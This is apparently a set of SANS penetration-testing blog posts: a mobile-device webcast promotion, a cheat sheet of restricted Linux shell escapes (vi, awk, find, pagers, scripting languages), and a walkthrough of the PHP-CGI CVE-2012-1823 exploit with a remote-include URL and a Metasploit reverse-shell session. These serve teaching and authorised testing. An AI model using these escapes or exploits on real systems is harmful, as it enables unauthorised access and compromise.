Invasion of the Mobile Phone Snatchers – Part 1

[Editor’s Note: Last Friday, Josh Wright did an awesome webcast on how penetration testers can extract sensitive information from mobile devices during an ethical hacking project, simulating what could happen if a bad guy snags a device and uses it to gather info to attack an organization.  Josh provides some commentary as well as his slides below.  These slides are a sampling of Josh’s brand-new 575 course on Mobile Device Security and Ethical Hacking.  I have to say — the new course is completely amazing!  It gives folks the knowledge they need to help protect their organizations against the onslaught of new mobile devices popping up everywhere — iPhones, iPads, Android devices, RIM Blackberries, and Windows Phone are all covered.  The course is selling out wherever SANS offers it, usually a month or two in advance.   Course details are available here. –Ed.]

by Josh Wright

Last week I had the opportunity to deliver my webcast “Invasion of the Mobile Phone Snatchers (Part 1)”.  Inspired from the famous movie “Invasion of the Body Snatchers”, we looked at the threat of lost of stolen mobile devices, and the ability for an attacker to extract information from a recovered device.

Mobile devices store tremendous amounts of information, a lot of which is valuable to an adversary.  Stored passwords are an obvious target, but even beyond passwords there is a lot of interesting content stored with locally installed applications, web browser cache, search history from apps and even the user dictionary content containing all the keywords you type into SMS, email, web browser search and other applications.  If your smart phone is anything like mine, the user dictionary is an autobiography of where you go and what you do, representing a substantial privacy threat if lost.

I was at my optometrist yesterday, and the patient next to me pulled out his iPad and unlocked it with the passcode “0000”.  Turns out he was a US Government employee, and we had a nice chat about the very limited security he gets with such a simple PIN.  Even with a more complex PIN, an attacker can quickly leverage platform weaknesses in Apple iOS and BlackBerry to bypass the authentication without trigger device wipe policies from failed login attempts.


Check out my presentation content (downloadable here) for more information on how an attacker can leverage a stolen device to extract information, bypassing authentication requirements on the platform.  I also make some recommendations for organizations on how to mitigate these attacks through device management systems and organizational policy and procedures, an essential task for any organization deploying mobile devices.

-Josh

[Josh will be teaching his SANS Security 575 course at SANS FIRE in Washington DC in July to a sold-out room.  The next course offering is in Virginia Beach in late August, and then at SANS Network Security in Las Vegas starting September 17.  You really should check it out!

Also, this webcast is the first in a trilogy Josh is offering to help folks test and secure there mobile environments.  The second webcast in the trilogy will be June 29 (covering mobile device malware), and the third (explicitly addressing the topic of mobile device penetration testing) will be on July 19.  I’m really looking forward to these new webcasts, where Josh will build on the ideas of this session with additional tools and tips.  Please mark your calendars and register now!  –Ed.]

 

 

Escaping Restricted Linux Shells

[Editor’s Note: On the GPWN mailing list for SANS Pen Test Course Alumni a few months ago, we had a nice, lively discussion about techniques penetration testers and ethical hackers could use to escape a restricted shell environment. A lot of nifty techniques were offered in what amounted to an interactive brainstorming session on the list. Doug Stilwell offered to write an article based on the discussion and his own experience. I really like what he’s come up with, and I think it’ll be a handy reference for folks who find themselves facing a restricted shell in a pen test and need to get deeper access into the target system. Thanks for the cool article, Doug! -Ed.]

By Doug Stilwell
@lepwn

Introduction

Last year I was approached by a systems engineer and he offered me a steak dinner if I could escape the restricted shell he had set up on a Linux server. The restricted shell was being created due to a request from the development group needing access to certain servers for troubleshooting, and he wanted to restrict what they could do. I don’t know about most of you, but a challenge alone from one of my colleagues is more than enough to get me going, but a steak dinner? Where do I sign?! The only thing better would have been a case of beer! I wasn’t very familiar with restricted shells so off to Google I went for some assistance. It didn’t take long before I noticed there was a lack of information on the topic. Information was scattered and most resources were not very descriptive. In addition to internet research, I also consulted the SANS GPWN e-mail distribution list to see if anybody had any cool tricks. It turns out, they did, but the consensus was that they’d like to see an article published covering this topic.

Scope

The purpose of this article is to create a better resource for penetration testers to assist them when confronted with a restricted shell. In no way will this be an exhaustive account of all techniques, but instead, I’m going to cite several of the most applicable and effective techniques in this handy reference document. This article is not going to cover defending restricted shell attacks, focus on specific flavors of Linux, nor is it going to cover every restricted shell since they can be configured many ways. Therefore, command line syntax may differ depending on the version of Linux you’re familiar with. I will focus mainly on the techniques themselves. Of course, if you find a way to exploit a running process to escalate your privileges, then there is no need to escape the shell.

A Restricted Shell… What Is It?

It limits a user’s ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:

  • Using the ‘cd’ command to change directories.
  • Setting or unsetting certain environment variables (i.e. SHELL, PATH, etc…).
  • Specifying command names that contain slashes.
  • Specifying a filename containing a slash as an argument to the ‘.’ built-in command.
  • Specifying a filename containing a slash as an argument to the ‘-p’ option to the ‘hash’ built-in command.
  • Importing function definitions from the shell environment at startup.
  • Parsing the value of SHELLOPTS from the shell environment at startup.
  • Redirecting output using the ‘>’, ‘>|’, ”, ‘>&’, ‘&>’, and ‘>>’ redirection operators.
  • Using the ‘exec’ built-in to replace the shell with another command.
  • Adding or deleting built-in commands with the ‘-f’ and ‘-d’ options to the enable built-in.
  • Using the ‘enable’ built-in command to enable disabled shell built-ins.
  • Specifying the ‘-p’ option to the ‘command’ built-in.
  • Turning off restricted mode with ‘set +r’ or ‘set +o restricted’.

Since business needs override security a good portion of the time, it’s possible that some of the above restrictions are relaxed. So do not assume that these restrictions are set in stone. I suggest you QC the quality of the restricted shell.

Reconnaissance

The first step should be to gather a little information. You’ll need to know your environment. Run the ‘env’ command to understand how your profile is configured. You’ll see which shell you’re running and where your PATH is pointing to. Once you know what your PATH is, list the contents of the directory (i.e. ‘ls /usr/local/rbin’) to see which commands are present. It is possible you may not be able to run the ‘ls’ command. If not, you can use the ‘echo’ command with an asterisk to ‘glob’ directory contents if it’s available:

echo /usr/local/rbin/*

You can continue on through the file system using this command to help you find other files and commands. Basically, you’ll be armed with built-in shell commands as well as the ones listed in your PATH. This is your arsenal for attacking the restricted shell, but there may be exceptions as we’ll find out. Once you know which commands you can execute, research each one of them to see if there are known shell escapes associated with them. Some of the techniques we’re about to get into can be combined together.

Change PATH or SHELL Environment Variables

Type ‘export -p’ to see the exported variables in the shell. What this will also show you is which variables are read-only. You’ll note that most likely the PATH and SHELL variables are ‘-rx’, which means you execute them, but not write to them. If they are writeable, then you can start giggling now as you’ll be able to escape the restricted shell in no time! If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc…). If the PATH is writeable, then you’ll be able to set it to any directory you want. I recommend setting it to one that has commands vulnerable to shell escapes.

Copying Files

If you’re able to copy files into your PATH, then you’ll be able to bypass the forward slash restriction. The sky is the limit at this point as you can copy commands into the PATH that have known shell escapes. You can also write your own script, copy it to the PATH, and execute it.

Another technique is to try and copy files to your home directory and execute them from there. Execution will be difficult as you will have to use ‘./’ in order to get it to run, and as we already know, it will fail since the restricted shell will not allow the use of a forward slash. Keep in mind, you may be able to get the commands you copy to your home directory to run if you’re able to couple it with another command that has a shell escape.

Other ways you may be able to copy files or get access to them include mounting a device or file system. You may also be able to copy them to your system using a program that can copy files such as SCP or FTP.

Try to find directories other than your PATH where you can execute commands from. If you have write access to them, you can copy commands here and may be able to execute them.

Lastly, consider creating a symbolic link in a directory where you have write access and the ability to run commands

Editors

One of the most well documented techniques is to spawn a shell from within an editor such as ‘vi’ or ‘vim’. Open any file using one of these editors and type the following and execute it from within the editor:

:set shell=/bin/bash

Next, type and execute:

:shell

Another method is to type:

:! /bin/bash

If either of these works, you will have an unrestricted shell from within the editor. Most modern restricted shells already defend against this hack, but it’s always worth a shot. You may be working from a restricted editor such as rvi or rvim, which will almost certainly stop a shell from spawning. Also, try different shells with this technique and ones that follow as some restricted shells may block ‘sh’ or ‘bash’.

Awk Command

If you can run ‘awk’, you can attempt to execute a shell from within it.

Type the following:

awk 'BEGIN {system("/bin/sh")}'

If successful, you’ll see an unrestricted shell prompt!

Find Command

If the ‘find’ command is present, you can attempt to use the ‘-exec’ function within it.

Type the following:

find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

Again, if successful, you’ll see a blinking cursor at an unrestricted shell prompt! Note that in the above example, you are able to call the ‘awk’ command even if it is not present in our PATH. This is important because you are able to bypass the restriction of only being permitted to execute commands in your PATH. You are not limited to the ‘awk’ command.

More, Less, and Man Commands

There is a known escape within these commands. After you use the ‘more’, ‘less’, or ‘man’ command with a file, type ‘!’ followed by a command. For instance, try the following once inside the file:

'! /bin/sh'
'!/bin/sh'
'!bash'

Like the shell escape in ‘awk’ and ‘find’, if successful, you’ll be sitting at an unrestricted shell prompt. Note you can try different shells, and the space after the ‘!’ may not matter.

Tee Command

If you do not have access to an editor, and would like to create a script, you can make use of the ‘tee’ command. Since you cannot make use of ‘>’ or ‘>>’, the ‘tee’ command can help you direct your output when used in tandem with the ‘echo’ command. This is not a shell escape in of itself, but consider the following:

echo “evil script code” | tee script.sh

You will be able to create a file called script.sh in your home directory and add your script code to the file. Once the file is created, use the ‘tee -a’ option for all subsequent commands as the ‘-a’ allows you to append to the file rather than overwrite the file.
Favorite Language?

Try invoking a SHELL through your favorite language:

  • python: exit_code = os.system(‘/bin/sh’) output = os.popen(‘/bin/sh’).read()
  • perl -e ‘exec “/bin/sh”;’
  • perl: exec “/bin/sh”;
  • ruby: exec “/bin/sh”
  • lua: os.execute(‘/bin/sh’)
  • irb(main:001:0> exec “/bin/sh”

Most likely, you will not be able to execute any of these, but it’s worth a shot in case they’re installed.

Files Executed in Unrestricted Mode?

Some restricted shells will start by running some files in an unrestricted mode before the restricted shell is applied. If your .bash_profile is executed in an unrestricted mode and it’s editable, you’ll be able to execute code and commands as an unrestricted user.

Conclusion

This article is far from conclusive on techniques used to escape restricted shells, but hopefully it was informative and helped you learn some new tricks. What I’ve come to discover is that there are many ways to attack a restricted shell. You truly are only limited by your imagination. I encourage everyone to try these methods and expand on them and develop new techniques!

Earlier, I mentioned a steak dinner was offered to me if I was able to break out of this custom restricted shell created by an engineer. I was successfully able to break out of it using multiple techniques, but when I asked him for the steak dinner, he came up with an excuse on why he wouldn’t do it. I’m considering another approach:

I love xkcd alt text. It's often funnier than the comic itself.

Original comic from xkcd by Randall Munroe

Other Sources

I’d like to thank Mike Cripps and Warren Barkalow, my coworkers, for reviewing my article and providing valuable feedback. I’d also like to acknowledge and thank the folks on the GPWN list for their great input and brainstorming, especially Sterling Thomas, Jesse Bowling, and Miika Turkia.

http://www.gnu.org/s/bash/manual/html_node/The-Restricted-Shell.html

http://linuxshellaccount.blogspot.com/2008/05/restricted-accounts-and-vim-tricks-in.html

http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,8664.0/

Thanks for reading!

Doug Stilwell – https://twitter.com/@lepwn

Pen Test Cheat Sheets:

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Tips for Pen Testers on Exploiting the PHP Remote Execution Vulnerability

[Editor’s Note: A couple of weeks ago, there was some hubbub about a vulnerability in PHP that allowed for remote system compromise, as described in CVE-2012-1823.  Bad guys are exploiting this in the wild now, as reported by the Internet Storm Center here.  Jose Selvi wrote a brief article summarizing the type of issue we’re dealing with here, as well as tips for penetration testers and ethical hackers to target this flaw.  Thanks, Jose!  –Ed.]

By Jose Selvi

As you probably know by now, a remote execution vulnerability in PHP (CVE-2012-1823) was published a couple of weeks ago (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/). This vulnerability only affects those servers where PHP is configured as a CGI script.  Although it is not the default configuration in the majority of the systems, there are some well known services such as Facebook that use PHP as a CGI.

This vulnerability is very similar to a Java WebStart vulnerability published last year by Ruben Santamarta (http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1) and Tavis Ormandy (http://seclists.org/fulldisclosure/2010/Apr/119) (at the same time but not together).

The main concept is: The service gets a set of parameters, where some (or all) of them are controlled by users. Then, the service uses them in a call to a local binary. If these parameters are not filtered as they should be, an attacker could add an extra option to the call.  As a hypothetical example to illustrate the concept, consider an application which has the following parameters an attacker may want to manipulate (listed here in pseudo-code):

Binary = "PrintName"
Args = "-n " + username
execute( Binary, Args )

Generally, a user should enter a username but what if he or she enters something such as “Jose -cmd id”? Well, if PrintName had an option “-cmd” which executes the following command, “id” would be executed in order to look for the service user privileges (in Unix).

The previous situation is the underlying cause of the recent PHP-CGI vulnerability: It’s possible to add extra parameters in the PHP-CGI call when interpreting a PHP page.

But… what can we do with this as penetration testers?  What kind of parameters are available in PHP-CGI binary?  Check out the optional listed here: http://www.php.net/manual/en/features.commandline.options.php. All options are available in the PHP official website (they’re valid for PHP-CGI as well). There are some of them that could be really interesting:

-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used

It seems that we could add extra options as if they were in a php.ini file, but only for this PHP execution. This is really interesting. We could add lots of php.ini options to this execution (http://www.php.net/manual/en/ini.list.php), but there are a couple of them that could be really useful for us, specifically those included in this list:

Well, it seems that we are close to our goal: We can allow url include and then prepend our own php file as code to execute. We would use an URL such as:

http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt

It should work, inserting PHP code into exploit.exe, which should be executed on the server.  But, looking at some published exploits I have seen, they use a special URL php://input (http://www.php.net/manual/en/wrappers.php.php) that references stdin content (POST variables in this scenario). This is really helpful, since some web servers do not have Internet access to fetch a file from a pentester’s website, thus it is better than including an Internet PHP file. Finally, the overall attack would be carried out as demonstrated below:

BINGO! It seems we can execute PHP code, but it would be even better to execute operating system commands. We only have to spend a bit of time with PHP, as follows:

Now, we can execute whatever we want in our target, using the “cmd” parameter we are passing to POST. Of course, commands are executed with the webserver privileges and restrictions.

Stepping up, we can use a Metasploit module called “php_cgi_arg_injection” (http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html) as well. It is easier to use, since all we have explained in this post is done automatically:

$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf exploit(php_cgi_arg_injection) > set TARGETURI /
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012

meterpreter > sysinfo
OS : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer : bt
Meterpreter : php/php

meterpreter > getuid
Server username: www-data (33)

meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L The local host to listen on (optional).
-h Help banner.
-l The local port to listen on.
-p The remote port to connect to.
-r The remote host to connect to.

I have not used the PHP Meterpreter, but I guess it has just a few options such as the Java Meterpreter. In spite of it, file upload/download, port forwarding and some other commands (that I really love) work as expected. We are now really close to a total server pwnage.

-Jose Selvi